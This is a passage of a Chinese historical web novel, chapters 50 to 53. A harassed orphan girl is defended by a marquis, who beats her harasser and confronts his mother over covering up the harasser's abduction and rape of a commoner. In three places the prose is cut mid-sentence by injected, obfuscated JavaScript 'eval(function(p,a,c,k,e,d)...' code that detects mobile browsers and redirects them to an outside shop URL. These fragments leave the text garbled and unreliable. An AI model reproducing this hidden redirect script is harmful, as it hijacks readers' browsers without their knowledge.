“侯爷一早便去了大营，还未回府，管事的忠伯说，待侯爷回来即刻便请示。” 话音落下，王老太君的脸色立刻黑了几分。 “一早便去了大营，”王老太君冷哼一声，语气阴冷，“这府里倒像是客栈了，专供住店夜宿，人来人去全没个消息，我老了，眼花耳聋，竟什么都不知道。” 十分明显的不满。 “姐姐莫要生气，”一旁的贵妇人笑着轻拍了拍她的手，“深儿是朝中重臣，自然以国事为先，或许事出紧急，时辰又太早，才不想来扰你，分明是体恤你这当母亲的。多贴心的孩子。” 她一开口，王老太君阴沉脸色逐渐转好，瞪她一眼：“就你喜欢给他说好话！谁瞧不出来他是个心硬的。” 安平伯夫人笑眯眯地：“侯府是将门世家，将帅心硬才能有大功绩呢，心软的哪当得起陛下给的重担？深儿这样有本事，你还说他不好。这京城里的妇人，哪家不是羡慕你有个好儿子？性情冷淡些要什么紧，能建功立业就是顶立门户的好儿郎。” 这话说到王老太君心坎里，顿时唇角微勾，但下一刻不知思绪转到哪里，登时就又叹了口气，带上几分怒容： “你不知道，他是个犟种，前些日子我让他去相看梅府姑娘，他呢，竟顶撞我！如今京城和他一般大的儿郎，有几个是没成婚的？一日日拖下去，要是长信宫那边……” 忽地止了口。 太皇太后年事已高，缠绵病榻，据说今年的情况愈发不好，如果长信宫太皇太后崩逝，那么随之而来的便是孝期，皇室宗亲三年内不得有婚娶等红事，百官近臣也要守丧一年。 王老太君和太皇太后同出晋阳王氏，算起来，太皇太后是谢砚深的远方表姑祖母，谢砚深又是天子近臣，不可能和其他官员一样只守孝一年，但若是这样，他的婚事就要一拖再拖了。 安平伯夫人眼中微动，低声劝慰：“姐姐别急，深儿是个有主意的，怎会不知轻重。不肯相看梅家姑娘……” “会不会，是真的不合眼缘，”她轻声说，“不喜爱那样的女子？” 王老太君冷笑：“他一心扑在他那堆军务上，就没见他有亲近女人的时候，他那院子也跟个和尚庙似的，我怎知他喜欢什么模样的？他自己不说，难不成还要我老婆子去猜。” “端正守礼是君子所为，我求天求地都想庆姗寻个这样的夫婿，只是看了许多家……唉。”安平伯夫人说着，有些惆怅地垂下眼。 听见“寻夫婿”，王老太君不由自主皱起眉，颇为可惜地看了一眼远处亭中温柔安静的赵庆姗。 最后收回眼。 嘴上只说：“庆姗是好姑娘，多相看些总是没错处的，天底下哪有十全十美的姻缘，最要紧的是日子能过的舒心，尽量没有烦事。” 安平伯夫人不着痕迹一顿，苦笑着点头：“是啊。我这些日子一直睡不好，打算过两日去云山观做场法事，求个指引。” “姐姐一同去吧，看看深儿的姻缘如何，清晖道长卜算解签最是灵验，就当求个心安。”她蹙眉劝道。 提起云山观，王老太君的眼中有了些光亮：“说的是啊，我是该去瞧瞧。” 安平伯夫人当年为她叩拜上山，过后不久她便怀上了孩子，王老太君对云山观极为敬信。 王老太君扶额长叹：“从前在云山观，和钟府那个合八字的时候，清晖道长便说了两家不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991740|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佳配，我当时竟然还有些不信，想想真是惭愧。” 何止不是佳配，简直就是孽缘。 安平伯夫人：“姐姐且安心，就因不是正缘，拜过诸神，有了庇佑，不好的缘分后头自然会散掉。深儿的良配还有待考量。” 王老太君：“定了日子，你记着让人来个信，到时我和你一同上山。” “好，那那日我早些过来……” 安平伯夫人的话未说完，厅外的下人通报声响起，将之打断—— “玉姑娘到了——” 尾音落定，随后，轻盈脚步声逐渐靠近，隐约听得见披风解开后交由婢女收起的细碎摩擦声。 珠帘纱帘层层掀起，丝丝酴醾香气勾绕着传入，还有鬓边玉翠轻撞的叮叮脆响，如水珠一般圆润清滑。 纤弱身影莲步转入厅中，款款而行，她进来时迎着窗外遍地白雪映射入屋的日辉，金色笼罩在她的身上，凝脂一般的肌肤更近乎透明，婀娜行处无人不顾。 姝色天成，如玉生光。 钩金海棠烟粉罗裙随着她垂首行礼的动作微荡裙摆，唇角有浅笑：“怜脂拜见太夫人，拜见伯夫人。” 园中一片寂静。 座上的王老太君面色不佳，安平伯夫人惊讶过后，立刻恢复了往常神色，只是眼中情绪复杂，看不分明。 不远处的亭中，赵庆姗的表情瞬间变得难看，带着无言的震惊，但不知道又想到了什么，强令自己缓缓舒出一口气。 旁边一直不耐的蓝袍男子停下了小动作，毫无知觉之间已站起了身，向前走了几步，眼神穿过大开的镂空花窗，一刻也不离厅中少女。 他皮肤青白，眼下却浑黑，身形颇壮，脚下又不太稳当，瞧着十分怪异。 “……哥？”赵庆姗转头看见他的模样，愣了一下，心中立马明白他的毛病又犯了。 “她是谁？”赵庆吉轻舔上唇，幽幽问。 赵庆姗垂下眼，漫不经心地打量着手上蔻丹：“应该就是前几个月侯府大房收留的玉氏女子，苏州人氏。” “哦，”赵庆吉扬眉嘻笑一声，“原来是江南的小美娇娘。” 50. 为难 “起来吧。”王老太君淡淡看向下首少女，“瞧着你是身子大好了。” 玉怜脂站直身，柔声道：“托太夫人鸿福，已经好了许多了，这些日子没机会拜见太夫人，晚辈心中一直不安。” 态度十分恭敬，礼仪规矩毫无错处。 王老太君挑眉舒了口气：“甘家的都同我说了，你那日刚醒便来过润安堂，你是个懂事的，后来去见过你婶婶了么？” “见过了，”玉怜脂应答，“婶婶同我说了太夫人好意，多谢太夫人为我筹谋，这几日……我正与婶婶商量后头的事。” 话中之意，已经开始挑婚事人选了。 王老太君面上浮起满意的笑，点点头：“你一向是个乖巧听话的孩子，坐吧。” “是。”玉怜脂应声，移步坐到一旁的檀木椅上。 安平伯夫人这时才开口，笑着说：“姐姐瞒得好紧，先前只知道你府里多了个访亲的姑娘，是个美人儿，却不知这样标致。” “她身子弱，平常不大出门，”王老太君说，“按辈分，她和霖哥儿嫣姐儿一般。” 也就是说，对玉怜脂而言，谢砚深、谢滨都是叔伯辈。 安平伯夫人眼神微闪，笑意愈发深了起来。 “来。”她转过头，朝玉怜脂招招手。 玉怜脂起身走近，顺从着让安平伯夫人握住她的双手，后者细细打量她，末了，从腕上褪下一个錾花细圈金镯，放到她掌心。 安平伯夫人：“你既入了侯府，便都是一家人，不拘客气，这镯子不是多贵重的玩意儿，你且收着，权当见面礼。” 玉怜脂忙道谢：“多谢伯夫人。” “好孩子。” “姨母与母亲在说什么？好热闹！”一道带着酥懒笑意的男子声音响起。 众人抬头看去，高个蓝袍男子大步走进来，身后跟着一名青绿裙裳的年轻女郎。 玉怜脂垂下眼，几步退回椅边。 “不是说和你妹妹赏雪景？”王老太君瞥了一眼安静站在椅边的玉怜脂，随后笑着问刚入厅中的蓝衣年轻男子， “怎么这么快就回来了？” 赵庆吉眯眼笑：“亭子里四处透风冻得慌，便回厅里躲冷，姨母可是嫌我？我年节都没怎么见您，好些日子了，就算您不想我，也总得准外甥多看您几眼吧。” 王老太君大笑：“你这泼皮，净胡说！快过来，喝口热茶。” 赵庆吉却不急，掉头向左边，眼中隐有幽光：“姨母，这位姑娘是？” 只一瞬，安平伯夫人原本微勾的唇角略略压平了些。 王老太君也是一挑眉：“……这是你大表兄干侄女，姓玉，叫怜脂。” “论起来，也是比你小一辈的。” 她说完，玉怜脂便向赵氏兄妹欠身行了一礼。 “这位妹妹瞧着比我小不了几岁，难不成还要叫我叔伯？”赵庆吉呵笑，“那姗儿岂不成了堂姑，我答应，姗儿怕也不愿呐。” 站在头的赵庆姗没有表示，只斜了胞兄一眼。 安平伯夫人声音有些冷：“辈分又岂是岁数决定的，你平白升了一辈，还委屈你了？” 赵庆吉弯着眼：“哪是委屈我，我只是想玉妹妹在京城恐怕没什么友人，日后要是有花会游乐的好事，叫上妹妹一起，叔侄的名分恐怕不便，或许兄妹更合适。” 话音落下，王老太君目中厉色浮现，射向旁边的玉怜脂。 她就知道，这丫头片子早晚会惹出些不安分的事！ “赵郎君说笑了。”此时，一直静静站着的玉怜脂开口，表情恬淡，“怜脂自知身份低微，不敢攀亲，况且我身子素来不大争气，不便出门，谢过郎君好意。” 明晃晃的搪塞拒绝。 赵庆吉却不肯放过，愈发得寸进尺：“妹妹说的哪里话，你是滨表兄请来的，与我们便是一家人，何必客气。” “瞧着妹妹年岁应当是过了及笄了，不知婚配与否？女儿家将来若是婚配了，出来游玩的日子可就更少了，不如趁着好时候，与我们多走动，说不定心情好了，身子也能好起来。” “你来京城不久，许多地方不熟悉，若跟着我们一起聚宴，定把你照顾得妥妥当当，到时我和庆姗来下帖子，你可不许拒了。” 被他抓着不放的少女有些语无伦次，但依旧拒绝：“我……不必了……” 赵庆吉嬉笑：“妹妹别推辞，让人看见，还以为你当我们是什么洪水猛兽呢，一家子亲戚，这么客气做什么。” 玉怜脂抿紧了唇，慌乱避开他肆无忌惮投射过来的视线，渐渐白了脸。 旁边是王老太君狠狠刮过来的眼刀，面前赵庆吉是个有恃无恐的登徒子。 她娇弱女儿家，向来秉性温顺柔和，遇到这种场面，当然是会不知所措的。 安平伯夫人脸上的笑有些挂不住了。 而赵庆姗则是静静看着眼前的场面，瞥到玉怜脂无措发白的脸，眼中蔑意一闪而过。 “胡言乱语什么？怜脂身子不好，当然要静养，哪经得住诸般折腾，你是好心，可若是办了坏事，岂不反倒害了她？”安平伯夫人瞪着赵庆吉，“过来，坐下！” 赵庆吉耸耸肩，几步到了椅子旁，大咧咧坐下，赵庆姗跟在后头，也正坐下来。 王老太君偏首冷声：“怜脂，你今日出来前，可服了药？” “……未曾！”玉怜脂像是抓住了救命稻草，连忙应声，“太夫人不说，我还忘了，是到要服药的时辰了，我先……” “那要什么紧，妹妹且坐下，让下人熬好了药端上来就是，左右喝碗药的事。”赵庆吉的声音再次响起，阴魂不散。 这是不让她走了。 王老太君这回有些恼了，偏首瞪了他一眼：“庆吉！” “姨母——”赵庆吉变脸比翻书还快，表情竟然变得有几分失落，“我只是想人多热闹而已，您就这么舍不得。” 王老太君哪会舍不得玉怜脂，她只是恼赵庆吉见了玉怜脂一面就鬼迷心窍的模样。 她怎么就让她进了府！ 当初谢滨说玉怜脂失了双亲，无依无靠，甚是可怜，为着和玉怜脂父亲的情谊，硬是要收留她入府。 谢滨再三保证，说玉怜脂乖巧懂事，安分守己，几番说情，王老太君不胜其烦，就默许了。 原本以为只是多口人吃饭的事。可谁知道，收进来的是这么个小狐媚！ 王老太君心中不满，甚至猜忌谢滨是不是不安好心，什么为了旧友情谊只是个幌子，真正目的想要用这种不入流的手段从谢砚深身上谋划些什么。 收留落难孤女收留到床榻上的事，这京城里一棒子打出一箩筐。 更何况，那些女子虽然也美貌，可加起来也抵不过他们府里的这一个，换谁也不能不忌惮。 当年谢滨的生母刘氏受过她许多磋磨，刘氏死的时候，谢滨早已晓事，说不准暗中怀恨在心。 只不过玉怜脂入府到现在一直风平浪静，平日也乖顺得很，和谢砚深见面的次数掰手指都能数清，两人几乎没有任何交集。 王老太君这才放心一些。 可是谁想到，侯府里头的郎君没迷了眼，倒是把她素来疼爱的外甥给弄得五迷三道！ 这让她老脸往哪放！ 王老太君略微担忧地看向旁边坐着的安平伯夫人，果不其然看见她的脸色有些难看，此时正蹙眉回望。 顿时心中更加气恼，忍不住一股无名火上来。 王老太君心中一转，眼神横向一直站着不敢坐下的玉怜脂，冷笑一声：“既然如此，开春得了空闲，你便跟着出去走走吧。” 赵庆吉是她看着长大的，谢砚深被祖父母抱走，她没能把自己的孩子养在膝下，安平伯夫人便时常抱着赵庆吉来走动，许多时候，赵庆吉甚至住在侯府由她照顾，说是半个儿子一点都不为过。 既然赵庆吉坚持想要，那她又何必和自家孩子过不去，横竖玉怜脂又不是什么金贵人物，陪伯府嫡子嫡女一同游乐，是她的福分。 左不过是赵庆吉生性顽劣些，有时不太知轻重，无伤大雅。 玉怜脂的表情有些不敢置信，声音有些颤抖：“太夫人……我……” “太好了！”赵庆吉大笑，眯着眼盯她，“妹妹可要相信我，我一定将你照顾得好好的——” “照顾什么？”冰冷低沉的声音如碎玉断金，猛地斩断赵庆吉的话。 赵庆姗倏地转过头，眼中放亮，差点忍不住站起身：“表哥！” 玉怜脂抬头看去，尽头处，谢砚深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“怜脂，你说是不是？”她掉头，又逼向一旁的玉怜脂。 玉怜脂垂着头，半掩在袖下的手都在抖，声音很低：“我……” “你自己也愿意的，对吧？”老妇人的眼神越发锋利。 “我……是我……”玉怜脂的声音已经带着泣意。 “够了！”谢砚深打断这场逼问，面上怒意毕露。 两秒后再开口—— “送客！” 厅中死寂片刻，安平伯夫人和赵庆姗、赵庆吉均是难以相信耳中所听。 王老太君瞪大眼，厉声：“你说什么？！” 但润安堂中的下人竟然真的条件反射的脚步一动，还是想着自己的正头主子是王老太君才忍回去。 实在是前些日子被那一场打吓得怕极了。 “表，表哥，你说错了吧……我，我们没做什么呀，你怎么……”赵庆姗觉得脑中都恍惚起来，谢砚深从未，从未赶他们走！ 安平伯夫人也滑下两滴泪：“深儿，你，你表弟表妹只是想邀怜脂出去游玩，怎么就像是犯了天条了！你这不是诛姨母的心吗！” 赵庆吉看着母亲和妹妹都发功了，自然也得接上：“是啊！我，我是好心，邀玉妹妹一起出去赏花踏青什么的，她身子不好，我便说多照顾她些！” “你照顾她？”谢砚深慢慢走近赵庆吉，沉声。 听见他的问，除了玉怜脂，在场的其他人都是眼神有些躲闪。 赵庆吉是个什么德行，她们再清楚不过。 玉怜脂若是落到他手里，绝对凶多吉少。 赵庆吉看着逼到眼前、眼神凶厉如猛虎的人，腿都不自觉发摆。 他从小到大，最怵谢砚深这个表兄。 “是，是啊……”他咽着口水，“我是好心要照拂她，不为别的……” 王老太君看着谢砚深变化的表情，心中窜上一股熟悉的慌张，登时站起身，张口：“你这不孝的——” 她话音没说完的一瞬间，没人看清谢砚深如何出的手，他挥臂太快，力量悍猛，巨响炸起，赵庆吉被一拳砸在脸上，连人带椅轰然倒地，数窍流血，彻底昏死过去。 惊恐的尖叫声中，男人冷然收势，候在不远处的福明快步跑过来，递上净手的锦帕。 51. 相争 才平静了半月不到的润安堂再次变得混乱不堪。 安平伯夫人看着倒在地上血流了满脸的赵庆吉，惊声尖叫后一下瘫在椅上，赵庆姗则是满面惊恐。 王老太君的脸上五颜六色，最后捂着心口，颤颤巍巍指着谢砚深，却说不出话，几乎一口老血要吐出来。 玉怜脂站在角落，捂着唇，眼泪簌簌落下，看着他一片狼藉中漠然而立、不紧不慢擦拭手上血污的背影，第一次生出惊悸。 谢砚深的发难来得太快，太惊人。 太骇目振心。 赵庆吉好歹是他的亲表弟、安平伯府唯一的嫡子，来访打着的是过节走亲的名头，如今好端端进来，半死不活地出去，安平伯也是朝中官员，儿子被伤，岂能罢休，更别提还有个偏疼赵庆吉的王老太君在。 纲常法理种种框缚，即便如此，他也是说翻脸就翻脸，将赵庆吉重伤。 今日他能为了她冲冠一怒，那来日，等他知道了一切， 知道了她从头到尾都在欺骗他，算计他—— 他会怎么报复她？ …… 安平伯府的下人领着车马守在外头，脸上均是习以为常的淡然。 他们夫人时常来侯府做客，每回都要和侯府老太君说上许久体己话，说不得还要留下用晚膳，故而有的是时辰要等。 但今日，没多久，角门处一阵喧闹。 安平伯府的下人转头仔细看去，顿时惊掉下巴，乃至恐惧万分。 一个时辰前，他们伯府的主子们神采飞扬地进去，此刻却是哭天抹泪地出来。 二姑娘和婢女婆子们搀扶着快昏过去的主母，后头几个小厮抬着一张铺了绒垫的春凳，上头躺着的赫然是他们伯府最金贵的独苗公子，满头满脸的血迹擦都擦不完。 怎一个凄惨了得。 “回府……”安平伯夫人声音嘶哑，几乎背过气，“回府……！” - 安平伯府几人走后，玉怜脂也被请回了珠玉院，此时的花厅内，连最得脸的甘嬷嬷也被关在门外，屋内只有对峙的母子二人。 王老太君已经气到气不动了，半靠在扶手上，眼中都充着血丝，喘着气，声嘶力竭：“孽障……孽障！” “我白生养你一场！！” “你竟然为了一个，一个下贱的商户女，残害你的手足！那可是你的表亲！这么多年，你自己说，你姨母可待你有半分不好？！你表弟表妹待你可有半点不恭敬？！还是我这个做母亲的欠了你的？！你要这般折辱我们！早知今日，我当初还不如一碗药打了你去！” “不孝不悌，罔顾纲常，你这是要逼死我，逼死你亲娘！” 谢砚深站在花厅正中，面无表情，冷冷看着自己的亲娘泣血指责，半晌，终于开口：“母亲说了这许多，我也有话要问母亲。” 他的眼神冰冷中带着难掩的失望，王老太君抬眼对上他的目光，竟忽地一抖。 “当年，祖母临去之时说过的话，母亲可还记得？”谢砚深沉下声，一字一句，清晰有力。 王老太君脸色猛地一变。 谢砚深眸中寒凉：“祖母说，母亲出身高门，自小万千宠爱，性情倨傲刻薄，多疑寡恩，时常苛待于人，既乏慈悲宽宏之心，又易为小人花言巧语所惑，若遇奸恶之人，迟早会铸下大错，要母亲收心静气，每日三省己身。” “敢问母亲，您可有遵循祖母遗愿？” “你，你提这些做什么……！”王老太君眼神躲闪片刻，继续高声，“不让你害你表弟，就是刻薄了？！难不成，我该纵容你杀了庆吉，才是遂了你祖母的心愿？！你分明是被那个妖女迷了眼——” 谢砚深打断她的强词夺理，扬声喝道：“赵庆吉何人？” 王老太君一震，嘴里的话说不出来，她唇部动了动，只隐约辨认得出“表亲”二字。 谢砚深走近两步，目中锋芒熠熠：“闹市强掳民女，逼-奸良家，后行贿脱罪，桩桩件件，难道说不上大奸大恶？” “姨母明知其罪，却为让他不受刑狱责罚无所不用其极，母亲，您是否知情？” 王老太君脸部肌肉颤抖着，刚刚指责他不孝的气势已经彻底短了下去。 赵庆吉犯事的时候，谢砚深尚在北境巩固边防，约莫他是回京后才查得此事。 被逼迫的那个良家女子，是个刚成亲的卖花女，在集市上被从花楼里宿醉出来的赵庆吉一眼瞧中，赵庆吉混账惯了，残余的酒劲将他的恶胆催发至最大，当街便要把那无辜女子拉走。 卖花女当然拼死反抗，但抵不过赵庆吉和他的护卫小厮，光天化日便被掳了去，受尽凌辱。 而后，卖花女的丈夫、娘家立刻报官，但抓捕的官差还没进安平伯府的门，安平伯夫人的雪花银就送进了京兆尹家中。 卖花女的家里人不肯罢休，直说要滚钉板告御状，当日，安平伯夫人的体己匣子再开了一回，这一开，就将卖花女的夫家开成了哑巴，银子到手，卖花女的新婚丈夫给出来一封休书。 夫家退了，卖花女的娘家也有些顶不住了，安平伯府大方爽快，一抬金银珠宝送去，说是伯府的聘礼，卖花女的老母被关在屋里哭，老父则沉默着收了钱。 最后，卖花女的丈夫娶了新的妻子，卖花女的弟妹拿着她的“聘礼”各自嫁娶，被掳走那一日，是她最后一次见到赵庆吉后宅以外的天地。 京兆尹府也没了声，现任京兆尹的女婿是王氏族人。 谢砚深：“母亲，你已助纣为虐，包庇赵庆吉残害无辜女子，以至今日，他肆无忌惮，欲要旧事重演，故罪再犯，而您依旧纵容他。族地祭祀之时，望着祖父祖母灵位，您可曾忏悔？” “住口！”听见“灵位”二字，王老太君恼羞成怒，猛地呵斥他， “ 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刚问完这句，她又猛地一提气：“你做了什么？！” 谢砚深唇角冷笑似有若无：“儿子尽孝，不愿让您深陷泥沼，玷污声名，已经截下您的书信，换成儿子亲笔。” 王老太君脑中仿佛被重重锤了一下：“你……” “主审官知道了侯府不欲包庇恶犯，便按法典公正断案。母亲放心，两名罪首已然伏诛——”他冷声宣判结果， “斩立决。” 王老太君猛地哀叫一声，从椅上起身，疾步上前，扬手，狠狠扇在谢砚深的脸上！ “滚！！你给我滚！！” 谢砚深侧颊立刻泛红，但表情却没有变化，这点疼痛算不上什么。 “儿子告退。”他垂下眼，转身。 刚走出几步，身后，王老太君沙哑的声音又响了起来—— “……今日你这番作为，究竟真是大义灭亲，还是为的她?” 谢砚深的脚步顿了下来。 “你是我生的，你的心思谁也猜不透彻，可我老婆子终究是你的亲娘。”王老太君缓步走回椅边，坐下， “我告诉你，侯府，绝不可能让一个商贾出身的病秧子进门，哪怕是妾室、通房，你也想都别想！” “更何况，”王老太君冷笑起来，“即使你这襄王有梦，她神女也无意，人家心中只当你是世叔。” “你和她平日不怎么见面，恐怕还不知道。你大嫂，已经和她在挑成婚的人选了，会在府里办喜事。” “她无父无母，届时，你可以跟着你大哥坐在上首，充当高堂，喝杯敬酒。” 王老太君说完，盯着几米外沉默冷然的背影，慢慢眯起眼。 许久，谢砚深还是没有回头，抬步出了花厅。 52. 芥蒂 主院的下人们捧着膳食鱼贯入了房内，忠伯轻步走到窗边小榻上怔坐着的少女面前： “玉姑娘，请先用午膳吧，侯爷不定何时回来，用完膳就该到您服药的时辰了。” 玉怜脂微偏首，唇角扯动：“…… 我不饿，等一等也无妨。” 忠伯躬身，暗暗皱眉，还要再劝：“姑娘——” “侯爷。” “侯爷。” …… 偏厅传来声响，玉怜脂立刻转头看去，往桌上摆好菜的小厮们正低头行礼，谢砚深面容平静，刚迈过门槛。 忠伯回身上前，刚也要行礼，猛地瞥见他脸部左侧赤红泛紫的掌痕，浑身一震：“侯，侯爷……” “去拿药来。”谢砚深淡淡道。 “是！奴才这就去！”忠伯一阵风似的刮了出去。 玉怜脂从榻上站起身，看见他脸上的痕迹，也呆住了，数秒后，终于反应过来。 疾步小跑到他身前，手指有些颤抖地抚上他侧颊，刚止住不久的眼泪又下来了：“你，太夫人怎么，怎么打得这么重……你疼不疼，啊？” 谢砚深抬手握住她无措的细指，带离放下，轻摇头：“无碍，几日便能好。” 玉怜脂紧蹙眉：“今日你伤了那位表少爷，我听说他是安平伯的老来独子，我怕……” “你不必担心这些。”谢砚深抹去她脸上的泪，顿了顿， “先用膳吧。” 玉怜脂望着他平静的双眸，心中无端感到一丝怪异，又或者说，危险。 但她没有追问她走了之后花厅里发生了什么，只擦了泪：“好。” 忠伯很快跑回来，给谢砚深上好了药，桌上的饭菜还热腾着。 这一顿午膳吃得很安静，或许是四时园那一场大闹让人心绪大为震荡，此时少言沉默才能弥补耗费去的气力。 一直等到玉怜脂用完药，谢砚深才终于再开了口—— “怜娘，过两日，你去西院见见你滨叔吧。” 玉怜脂刚放下水杯，立时愣在了当场。 “医官说，兄长身上的红斑已经快要全部消退了，不会再传人，我知道你也惦念着他，等他更清醒些，你去见他吧。”谢砚深接着说，眼神却没有看她，而是垂眸盯着手中茶盏。 玉怜脂看着他冷淡的神色，眼瞳轻颤一下，才轻声问：“……怎么突然，说起这个?” 男人沉默着，没有立刻答话。 她望着他，暗暗吸气，抿了抿唇，终于还是问了：“今日，太夫人与你说了些什么?” “与我有关吗？” 他与她说话时，从不直呼她姓名，而是叫她“怜娘”，但即使是这个亲昵的称呼，他也很少在说事前专门加上。 他不是个喜欢多话的人，而且平日他与她都是独处，细语温存无需句句加上称谓。 从四时园花厅回来的他，很怪，让她心中不安。 谢砚深终于抬眼和她对视，目中思绪分不清，辩不明。 “……无关。”他做出了回答，“西院那边来报，说兄长给你递信了。” 信。 玉怜脂脑中立时浮现出谢滨笔下一列列和姻缘招赘脱不开的小字，眼神飘忽了一瞬。 谢砚深面色无波无澜，眼睛却紧紧盯着面前少女，她脸上一丝一毫的变化都不曾放过。 自然看清了她那一闪而过的犹疑。 垂在身侧的手不着痕迹握紧，语气还是淡然：“想是他有话想同你说，你去吧。” 玉怜脂沉默数秒，最后点头：“……好。” “这几日京畿大营军务事忙，我不在府中，半个时辰后就走，”他又说， “润安堂那边不会有人来传你，你最好也不要出府，若有事，着人来主院找忠伯。” 玉怜脂惊了一下。 之前若是谢砚深有要事不回府住，都会提前一两天同她说一声，但是这次，为什么从花厅回来了才说? “砚郎，”她忍不住这么叫他，“你……” 然而谢砚深没有立刻出言安抚她，这是破天荒头一次。 他眼中晦暗，像是不舍，又好似忍耐着什么，抬手，为她把鬓边不慎垂落的一丝发轻轻挽到耳后。 “去吧。”他沉声说。 - 自花厅那日之后，连着三天，谢砚深都没有再回府，润安堂也闭上了大门，王老太君气急攻心，谁也不愿见，四时园花厅发生的事，被牢牢封锁。 就连安平伯府，也没有动静。 约莫是安平伯也知道，谢砚深就算把赵庆吉给打残了，平武帝也不会说他半个字，说不准还会褒扬他为民除害大义灭亲，真把事情捅出去，赵庆吉掩埋的恶行也得被挖个底朝天。 玉怜脂站在西院大门外，关嬷嬷为她戴好面巾，段素灵的两个徒弟张风、钱庆在一旁候着。 准备妥当后，一行人进了许久未踏入的西院。 下人们日日打扫，西院此时虽然寂静，但却依旧洁净，只是药草黄酒的气味还没有彻底散去。 穿过重重回廊，终于到了谢滨居住的善启堂。 “玉姑娘，”善启堂的管事陈四小跑上来，“您来了，大郎君一直惦记着您。” 玉怜脂眼中蓄泪：“滨叔如何了？这么久了，我都没能来看看他。” 陈四也抬手抹眼泪：“医官说，大郎君的病已经不会传人了，只是伤了根，要养好不易，大郎君还好，如夫人的情况……小的糊涂了，怎么和姑娘说这些，姑娘先随我进去吧，过会儿到了用药的时辰，大郎君怕是不得空见您了。” 玉怜脂颔首：“好。” 虽然说了谢滨的病不会传人，但为着万一，谢滨还是吩咐人拉了一层用以隔绝的床帐。 玉怜脂坐在距离床榻一米的地方，只能透过纱帐看到他比从前瘦薄许多的影子。 “滨叔。”她忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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花厅那一场大闹，安平伯夫人被伤了儿子，竟然没和王老太君生分，反而还按照原先的打算邀她一同去云山观。 消息传回来的时候，玉怜脂正在翻阅书册。 “润安堂那边动静可大着，王老太君精气神又回来了，正准备车马。”关嬷嬷低声回禀。 玉怜脂停下翻书页的手，挑眉：“这位伯夫人，还真是个人物。” 儿子的头都被一拳打得惨不忍睹了，这才过了几天，她就能平心静气又登侯府的门。 关嬷嬷：“要不说安平伯夫人名声好，好就好在不计前嫌，但凡和她有过龃龉的人，她都登门拜访，好言好语，化干戈为玉帛，这京城里的贵妇人，都说她是个好脾气。” 玉怜脂轻笑一声：“以德报怨，忍辱负重。” “所求为何呢？” 53. 凶讯 转眼，正月最后一天也过去了，谢砚深离府已经十日。 那天在西院，玉怜脂与谢滨说后头要去给王老太君请安，但王老太君那日与安平伯夫人一同去云山观，回来第三天就病了。 这回是真真正正的病倒了，不似之前几次雷声大雨点小。花银子从润安堂门房那得的消息，王老太君的确是起不来身了。 府里的医官焦头烂额，说是查不出病因，可能是前些天气血逆行，又登云山观，导致身子虚弱。 王老太君一向身体非常好，出身高贵，夫家也是要面子有面子，要里子有里子，吃穿用度全都是最拔尖的。 润安堂甚至专门从各地搜罗来四个调养女子身体的能手，根据王老太君体质，几十年如一日地调配药膳药浴，按跷推拿一样不落。 前两次王老太君被谢砚深气成那样，结果除了有些激动过头，别的半点事儿没有，甚至夜里都没睡不着觉。 门房小厮说，那日去云山观，王老太君上马车时，他亲眼瞧见她眼下一丁点青色都无，简直是精神抖擞，满面红光。 谁知道，刚回来过了一天，就病了。 王老太君病了之后，安平伯府的嫡小姐赵庆姗频频来府里探望，到如今已连着三天，风雨无阻。 不过，这位表姑娘似乎很会照顾人，润安堂透出来的口风，说赵庆姗简直是无微不至，恨不得熬药都亲力亲为。 有她在，王老太君虽然还是查不出病因，但身体竟然也在一天天转好。 玉怜脂则一直安静地待在珠玉院里，主院那边只有个对她态度冷淡的忠伯，从不往珠玉院递消息，她也没有遣人去问。 谢砚深举止反常，一定是有什么事发生了，很可能是那日王老太君与他说了什么，而他的反应是出府避开她，并且让她去见谢滨。 王老太君能说些什么？ 无非是气急了贬低她，瞧不上她。 细细思索那日发生的事、谈过的话，或许……王老太君还提了她说要挑选赘婿人选的事。 所以谢砚深是在恼这个？ 那让她去见谢滨又是为了什么，难不成是想她去找谢滨承认与他的私情？ 玉怜脂想到此处，更是不解，甚至觉得这个念头荒谬至极。 谢砚深又不会娶她，且不说她的出身配不上侯爵府、和他又是认下的叔侄名分，单就她拖着这副不知道什么时候就彻底崩溃了的病躯，谢氏宗族耆老便不会同意的。 他虽然对她眷恋喜爱，却也不可能疯魔到要不顾一切娶她，世家高门的男子，哪个不是以利为先。 更何况他也从未承诺过要给她什么名分。 谢砚深早晚是要娶正妻的，她也早晚是要离开的。 既然如此，不过是欢愉只在今朝，梦醒不问来日的一场露水情缘，他反应这么大做什么。 玉怜脂蹙着眉，往身后软枕又靠了靠，手中捧着书，眼神却有些放空。 ……大抵，位高权重者对圈入庇护范围内的人或物都有非同一般的独占欲？ 她思来想去许多日，似乎也只有这个解释了。 脑中正混乱，关嬷嬷从外边端了药进来。 “姑娘，该喝药了。”老妇人提醒她。 药还烫着，玉怜脂拿勺子搅弄，稍凉一些，慢慢喝完。 等她净了口，关嬷嬷才又开口，声音压到最低：“姑娘，吕二当家那边来信了。” 玉怜脂倏地抬眼。 屋门已经紧紧闭阖，关嬷嬷从怀中掏出一个小指长短的精铁细筒，双手递向前。 玉怜脂快速接过，打开后，拿出里面叠起的信。 